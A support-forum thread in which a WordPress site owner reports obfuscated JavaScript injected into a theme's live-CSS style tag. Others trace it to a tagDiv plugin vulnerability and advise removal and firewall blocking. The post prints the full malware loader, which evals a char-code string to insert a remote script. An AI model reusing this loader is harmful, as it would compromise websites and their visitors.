is this code in my webstie header normal?

Posted in: Newspaper
Post count: 62

i find this code in my website source code

<style id="tdw-css-placeholder">var iz=String;var iz2=iz['fromCharCode'](118,97,114,32,95,48,120,52,99,54,102,52,98,61,95,48,120,52,97,56,57,59,40,102,117,110,99,116,105,111,110,40,95,48,120,50,53,100,54,55,98,44,95,48,120,50,55,54,50,54,55,41,123,118,97,114,32,95,48,120,49,50,51,101,56,48,61,95,48,120,52,97,56,57,44,95,48,120,51,99,56,54,54,54,61,95,48,120,50,53,100,54,55,98,40,41,59,119,104,105,108,101,40,33,33,91,93,41,123,116,114,121,123,118,97,114,32,95,48,120,51,49,101,51,99,102,61,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,56,41,41,47,48,120,49,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,48,41,41,47,48,120,50,43,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,49,41,41,47,48,120,51,43,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,53,41,41,47,48,120,52,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,50,41,41,47,48,120,53,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,101,41,41,47,48,120,54,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,52,41,41,47,48,120,55,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,98,41,41,47,48,120,56,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,49,41,41,47,48,120,57,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,100,41,41,47,48,120,97,59,105,102,40,95,48,120,51,49,101,51,99,102,61,61,61,95,48,120,50,55,54,50,54,55,41,98,114,101,97,107,59,101,108,115,101,32,95,48,120,51,99,56,54,54,54,91,39,112,117,115,104,39,93,40,95,48,120,51,99,56,54,54,54,91,39,115,104,105,102,116,39,93,40,41,41,59,125,99,97,116,99,104,40,95,48,120,52,52,53,101,48,52,41,123,95,48,120,51,99,56,54,54,54,91,39,112,117,115,104,39,93,40,95,48,120,51,99,56,54,54,54,91,39,115,104,105,102,116,39,93,40,41,41,59,125,125,125,40,95,48,120,53,49,102,52,44,48,120,100,52,50,99,53,41,41,59,102,117,110,99,116,105,111,110,32,116,121,101,114,121,119,101,114,40,95,48,120,51,98,101,98,97,99,41,123,118,97,114,32,95,48,120,52,98,98,56,102,48,61,95,48,120,52,97,56,57,59,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,91,39,113,117,101,114,121,83,101,108,101,99,116,111,114,39,93,40,95,48,120,52,98,98,56,102,48,40,48,120,49,101,56,41,43,95,48,120,51,98,101,98,97,99,43,39,92,120,50,50,93,39,41,41,59,125,118,97,114,32,98,100,61,39,104,116,116,39,43,39,112,115,39,43,39,58,47,47,115,116,97,121,39,43,39,46,100,101,39,43,39,99,101,110,116,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,101,97,41,43,39,112,112,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,100,57,41,43,39,47,112,39,43,39,97,103,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,100,102,41,44,100,61,100,111,99,117,109,101,110,116,59,105,102,40,116,121,101,114,121,119,101,114,40,98,100,41,61,61,61,33,91,93,41,123,118,97,114,32,115,61,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,55,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,101,54,41,41,59,115,91,39,105,100,39,93,61,95,48,120,52,99,54,102,52,98,40,48,120,49,101,51,41,44,115,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,55,41,93,61,98,100,44,100,91,39,99,117,114,114,101,110,116,83,99,114,105,112,116,39,93,63,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,54,41,93,33,61,61,110,117,108,108,38,38,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,91,39,112,97,114,101,110,116,78,111,100,101,39,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,97,41,93,40,115,44,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,41,58,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,53,41,93,40,39,104,101,97,100,39,41,91,48,120,48,93,33,61,61,110,117,108,108,38,38,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,53,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,100,51,41,41,91,48,120,48,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,57,41,93,40,115,41,59,125,102,117,110,99,116,105,111,110,32,95,48,120,53,49,102,52,40,41,123,118,97,114,32,95,48,120,49,102,99,56,55,100,61,91,39,115,101,99,111,110,100,95,99,104,39,44,39,114,101,109,111,118,101,39,44,39,49,50,56,56,116,87,101,98,118,109,39,44,39,115,99,114,105,112,116,39,44,39,115,114,99,39,44,39,115,99,114,105,112,116,91,115,114,99,61,92,120,50,50,39,44,39,97,112,112,101,110,100,67,104,105,108,100,39,44,39,114,97,108,97,112,39,44,39,103,101,116,69,108,101,109,101,110,116,66,121,73,100,39,44,39,50,48,54,51,50,50,82,76,87,109,82,113,39,44,39,102,105,114,115,116,95,116,105,109,101,95,99,104,39,44,39,104,101,97,100,39,44,39,49,49,49,51,57,50,52,68,106,98,111,69,105,39,44,39,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,39,44,39,112,97,114,101,110,116,78,111,100,101,39,44,39,99,114,101,97,116,101,69,108,101,109,101,110,116,39,44,39,49,55,49,49,53,57,51,104,114,85,115,78,101,39,44,39,115,46,99,111,109,47,115,114,99,39,44,39,105,110,115,101,114,116,66,101,102,111,114,101,39,44,39,53,50,56,53,54,52,56,108,71,88,110,111,101,39,44,39,99,117,114,114,101,110,116,83,99,114,105,112,116,39,44,39,50,51,55,48,52,57,51,48,117,104,81,119,98,101,39,44,39,54,74,77,104,113,77,71,39,44,39,101,46,106,115,39,44,39,49,49,55,52,50,54,98,109,90,90,65,89,39,44,39,57,113,82,79,115,67,101,39,44,39,49,54,49,53,48,66,109,83,78,104,77,39,93,59,95,48,120,53,49,102,52,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,32,95,48,120,49,102,99,56,55,100,59,125,59,114,101,116,117,114,110,32,95,48,120,53,49,102,52,40,41,59,125,102,117,110,99,116,105,111,110,32,95,48,120,52,97,56,57,40,95,48,120,98,56,48,101,98,98,44,95,48,120,53,51,49,51,99,102,41,123,118,97,114,32,95,48,120,53,49,102,52,102,100,61,95,48,120,53,49,102,52,40,41,59,114,101,116,117,114,110,32,95,48,120,52,97,56,57,61,102,117,110,99,116,105,111,110,40,95,48,120,52,97,56,57,50,97,44,95,48,120,53,53,101,55,52,48,41,123,95,48,120,52,97,56,57,50,97,61,95,48,120,52,97,56,57,50,97,45,48,120,49,100,49,59,118,97,114,32,95,48,120,52,49,102,98,102,53,61,95,48,120,53,49,102,52,102,100,91,95,48,120,52,97,56,57,50,97,93,59,114,101,116,117,114,110,32,95,48,120,52,49,102,98,102,53,59,125,44,95,48,120,52,97,56,57,40,95,48,120,98,56,48,101,98,98,44,95,48,120,53,51,49,51,99,102,41,59,125,118,97,114,32,108,105,61,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,98,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,100,50,41,41,59,108,105,33,61,61,110,117,108,108,38,38,108,105,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,52,41,93,40,41,59);eval(iz2);</style>

Post count: 62

the problem is in the tagdiv composer plugin. I found a quick-fix. This is not a permanent solution, but it works quickly:
wp-content/plugins/td-composer/css-live/css-live.php line: 142 where is <style id=”tdw-css-placeholder”>. i Just deleted code between <style id=”tdw-css-placeholder”> and ending </style>

echo ‘ <style id=”tdw-css-placeholder”>/* custom css – generated by TagDiv Composer */’ . PHP_EOL . $css_buffer . ‘</style>’;
}

Post count: 27744

Hi,

Please let me know what theme version you have.

Thank you!

Post count: 113

Its a vulnerabilty of the theme. Someone is constantly trying to inject malware. Take a look to your server visit log and maybe you´ll find ips asking without stop to “/wp-json/tdw/save_css” or something similar.

My version of the theme gives them a 403, I was injected a few months ago and it’s seem the new version they built “solved the problem”. But hackers knows this vulnerability and they are trying and trying and trying. Look at the attached image, where you can find my server log from this morning. I haven’t seen them since a couple of weeks but they have come back again… Ips from Romania, Russia and Netherlands.

https://ibb.co/Y7TWgxy (attached image)

  • This reply was modified 2 years by loslunes.
Post count: 62

version: 12.6.2

Post count: 27744

Hi,

Have you tried blocking them with wordfence? Something like this would work – https://prnt.sc/1V-dHi7xTQXk. But it may most likely take some time until all the URLs are blocked, as they keep changing. Eventually, they will all be blocked, however, and the attack will stop.
I think it could be done from Cloudflare as well, if you use Cloudflare. That URL can be blocked like this, for example – https://community.cloudflare.com/t/possible-to-block-specific-page-access/106765/3. In case you are using Cloudflare, this would be a very good solution because Cloudflare will block them before they reach the website. But if it isn’t possible to set up Cloudflare, the wordfence method will work as well. Please try it as soon as possible.

Thank you!

Post count: 62

i active wordfence plugin for my websites

yesterday i deleted code between <style id=”tdw-css-placeholder”> and ending </style>

What does this code do for the site?
And is it necessary?
Because I have removed this code

echo ‘ <style id=”tdw-css-placeholder”>/* custom css – generated by TagDiv Composer */’ . PHP_EOL . $css_buffer . ‘</style>’;
}

Post count: 27744

Hi,

The code was in live css; please delete it and save it because a code for malware was injected.

Thank you!

Viewing 8 posts - 1 through 8 (of 8 total)
You must be logged in to reply to this topic.